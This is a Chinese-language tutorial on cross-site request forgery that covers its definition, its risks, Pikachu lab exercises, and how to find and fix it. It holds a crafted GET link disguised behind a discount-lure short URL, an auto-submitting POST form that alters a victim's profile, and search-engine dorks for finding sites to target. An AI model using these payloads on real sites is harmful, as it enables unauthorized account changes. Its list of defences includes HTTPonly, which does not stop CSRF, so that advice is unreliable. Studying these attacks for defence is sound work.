CSRF(英语:Cross-site request forgery)跨站请求伪造(客户端请求伪造),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS利用的是用户对指定网站的信任,CSRF利用的是网站对用户网页浏览器的信任。最大的区别就是CSRF没有盗取用户的cookie,而是直接的利用了浏览器存储的cookie让用户去执行某个动作。
一:CSRF漏洞
CSRF漏洞概念:由于网站对用户网页浏览器的信任导致用户在当前已登录的Web站点的状态下,访问攻击者构造的攻击连接从而执行非本意的操作的漏洞;
XSS与# CSRF之间的异同点: 1.相同点:都是针对客户端进行攻击的漏洞 2.不同点:CSRF没有盗取用户的cookie而是直接利用完成客户端用户非本意的操作,XSS是窃取Cookie在进行利用;
》》》漏洞危害《《《
简单总结 CSRF 漏洞就是利用网站权限校验方面的漏洞在用户不知觉的情况下发送请求,达到“伪装”用户的目的。攻击者利用 CSRF 实现的攻击主要有以下几种: 1. 以受害者名义发送邮件,发消息。 2. 盗取受害者的账号,甚至购买商品,虚拟货币转账。 3. 修改受害者的网络配置(比如修改路由器DNS、重置路由器密码)。 4. 网站后台创建管理员用户,破坏网站,获取服务器权限等。 造成的问题包括:个人隐私泄露、机密资料泄露、用户甚至企业的财产安全
》》》漏洞原理《《《
》》》利用条件《《《
1.用户处于登陆目标网站的状态(Cookie) 2.用户点击攻击者发送的恶意URL连接
二:CSRF练习
》》》Pikachu靶场练习《《《
#pikachu Get http://101.132.17.61:8030/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=133333333333&add=China&email=mstart%40admin.com&submit=submit sex phonenum add email submit 猜想: lucy:以下购物有1折优惠,失效日期截至下午! https://s.r.sn.cn/ub7wkw http://101.132.17.61:8030/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=188888888&add=China&email=mstart%40admin.com&submit=submit 短链接网站--》 ---》 lili(受害者账户)
#pikachu POST http://101.132.17.61:8030/vul/csrf/csrfpost/csrf_post_edit.php --》 修改用户数据信息 <html> <head> <script> window.onload = function() { document.getElementById("postsubmit").click(); } </script> </head> <body> <form method="post" action="http://101.132.17.61:8030/vul/csrf/csrfpost/csrf_post_edit.php"> <input id="sex" type="text" name="sex" value="girl" /> <input id="phonenum" type="text" name="phonenum" value="12345678922" /> <input id="add" type="text" name="add" value="hacker" /> <input id="email" type="text" name="email" value="lucy@pikachu.com" /> <input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body> </html> http://localhost/pikachu/vul/csrf/csrfpost/123.html
# 漏洞区别 XSS跨站脚本:用户的浏览器 ---》 用户 CSRF客户端请求伪造:目标网站下的用户 ---》 用户
》》》XSS+CSRF《《《
三:挖掘修复
# 漏洞挖掘 目标:只要是存在用户注册及登陆站点都可以 intitle:用户注册 inurl:register.PHP/ASPX/JSP 挖掘思路: 1.注册两个账户 (test1/test2) 2.在账户的功能处抓包测试(修改用户头像/信息/状态/购买/结算/...)(form表单数据包) 3.查看是否是将修改的信息放在另外一个账户访问,是否成功修改信息 4.如果成功修改用户的信息,那就存在CSRF漏洞,查看信息/提交漏洞
# 漏洞防护 1、验证请求头中的HTTP Referer字段 2、在请求包中添加Token并验证 3、在HTTP头中自定义属性并验证 4、高危操作加入验证码机制 5、使用HTTPonly进行防护 # 扩展:token 1、Token的引入:Token是在客户端频繁向服务端请求数据,服务端频繁的去数据库查询用户名和密码并进行对比,判断用户名和密码正确与否,并作出相应提示,在这样的背景下,Token便应运而生。 2、Token的定义:Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。 3、使用Token的目的:Token的目的是为了减轻服务器的压力,减少频繁的查询数据库,使服务器更加健壮。